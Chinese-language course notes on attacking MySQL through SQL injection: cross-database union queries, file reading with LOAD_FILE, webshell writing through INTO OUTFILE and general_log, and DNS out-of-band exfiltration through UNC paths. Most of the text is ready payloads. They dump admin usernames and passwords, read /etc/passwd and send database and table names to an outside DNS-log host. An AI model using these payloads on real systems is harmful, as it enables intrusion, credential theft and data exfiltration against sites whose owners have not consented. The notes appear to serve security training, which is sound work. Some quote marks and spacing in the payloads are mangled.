演示案例:
➢ WEB攻防-SQL注入-高权限&跨库&文件读写
➢ WEB攻防-SQL注入-高权限&文件读写&带外
案例说明:
在应用中,数据库用户不同,可操作的数据库和文件读写权限不一,所有在注入过程中可以有更多的利用思路,如直接写入后门,获取数据库下洽谈网站的数据等。
root用户和普通用户权限差异(mysql)
1、文件读写操作权限
root权限下有文件读写权限,普通用户没有(默认情况,排除管理员授权的情况)
读写操作讲解(LOAD_FILE () 和 INTO OUTFILE)
LOAD_FILE () 和 INTO OUTFILE,二者是 MySQL 用于文件读写,SQL 注入高频函数,都依赖 FILE 权限 + secure_file_priv
函数:LOAD_FILE (绝对路径)
作用:读取磁盘上文件内容,把文件内容当做字符串返回。
sql:
select load_file(‘/etc/passwd’);
selectload_file(‘C:\windows\system32\drivers\etc\hosts’);
INTO OUTFILE 它不是函数,是 select 的子句,不是独立函数!这点面试非常爱考。 作用:把 select 查询结果写入服务器磁盘文件。
sql:select ‘‘ into outfile ‘/tmp/shell.php’;
2、数据库名获取
同个数据库服务器下默认 root 可查看所有数据库,普通用户能否看见数据库由权限决定,并非只能看到自己管理的库(也就是说管理员让他看到什么就能看到什么)。
课外拓展
我们通过一个网站拿下数据库,数据库内有其他站点的数据库,能获取到对应的账户密码,但是不知道其他站点对应的url怎么办,有什么思路
答:web 配置表 很多网站数据库会保存网站域名、站点 URL、后台地址、base_url、siteurl 字段。搜索表字段:url、domain、site、host、weburl。CMS 一般存于系统配置表,比如config、setting、system_config。
secure_file_priv开关
show variables like”secure%”
通过my.ini(windows版本)/my.cnf(Linux版本)中设置
secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入
secure_file_priv = NULL 彻底禁用读写,任何路径都不能操作,root 也不行。
secure_file_priv = “”(空字符串) 没有目录限制,有权限 (FILE 权限) 就可以读写任意目录。
secure_file_priv = “/tmp”(指定路径)只允许在该指定目录下做文件读写,只能读写 /tmp 下面,不能读写别的目录。✅就是你说的这条。
绕过条件:存在可执行的SQL地方(后台SQL命令执行,Phpmyadmin应用等)
从后台的sql命令执行功能点:注入获取得到这个网站的后台账号密码
从phpmyadmin命令执行功能点:注入获取到数据库的用户名和密码
存储在mysql数据库下user(用户字段)(password或authentication_string是密码字段)
show variables like’general_log’;
setglobal general_log=on;
setglobal general_log_file=’D:/phpstudy_pro/WWW/php/55/bypass.php’;
select’‘
https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html参考
跨库注入:
查数据库名:
‘ union select SCHEMA_name,2,3 from information_schema.SCHEMATA#
查表名:
‘unionselect table_name,2,3from information_schema.tableswhere table_schema=’aicms’#
查列名:
‘ union select column_name,2,3 from information_schema.columns where table_name=’wolive_admin’#
查数据:
‘union select username,2,3from aicms.wolive_admin#
‘union select password,2,3 from aicms.wolive_admin#
文件操作:
关于网站路径获取方法:
1、遗留文件
比如phpinfo这类文件,里面会泄露
2、报错显示
网站的报错信息有可能显示网站路径
3、读中间件配置
通过读取操作来读中间件默认路径
4、爆破fuzz路径(纯运气)
‘union select LOAD_FILE(‘d:\1.txt’),2,3#
‘union select ‘xxxx’,2,3 into outfile ‘d:\3.txt’#
带外注入:
yakit自带dnslog
查数据名:
‘union select load_file(concat(‘\\‘,(select database()),’.yjjoxijrhw.yutu.eu.org\aa’)),2,3#
concat(‘\\‘,(select database()),’.yjjoxijrhw.yutu.eu.org\aa’)这里是构造了一个unc格式,Windows 专用网络路径格式,用来访问局域网共享文件夹,格式: \服务器主机名\共享名
load_file本意:读取一个文件内容。传入 UNC 网络共享路径,就是告诉 MySQL:去读取 Windows 网络共享上面的文件。
执行全过程(Windows 系统)(带外注入核心):
1、MySQL 拿到字符串 \xxx.dnslog\aa,识别这是一条 UNC 网络共享路径。
2、MySQL 把这个路径交给 Windows 操作系统。
3、Windows 第一件事:对域名 xxx.dnslog 做 DNS 解析(向公网 DNS 服务器发起请求)。
重点:不管这个共享到底存不存在,域名解析这一步一定会执行。
4、Windows 尝试连接这个网络共享,肯定访问失败。
5、load_file 读取失败,函数返回NULL给 SQL。
✅核心:虽然读文件失败,但是第 3 步 DNS 请求已经发出,放在子域名里面的数据,已经发送到 DNS‑Log 服务器,实现不带回显的数据外带。
查表名1:
‘ union select load_file(concat(“\\“,(select table_name from information_schema.tables where table_schema=’news_management’ limit 0,1 ),”.yjjoxijrhw.yutu.eu.org\xxx.txt”)),2,3#
查表名2:
‘union select load_file(concat(“\\“,(select table_name from information_schema.tableswhere table_schema=’news_management’limit0,2),”.yjjoxijrhw.yutu.eu.org\xxx.txt”)),2,3#
查列名:……同理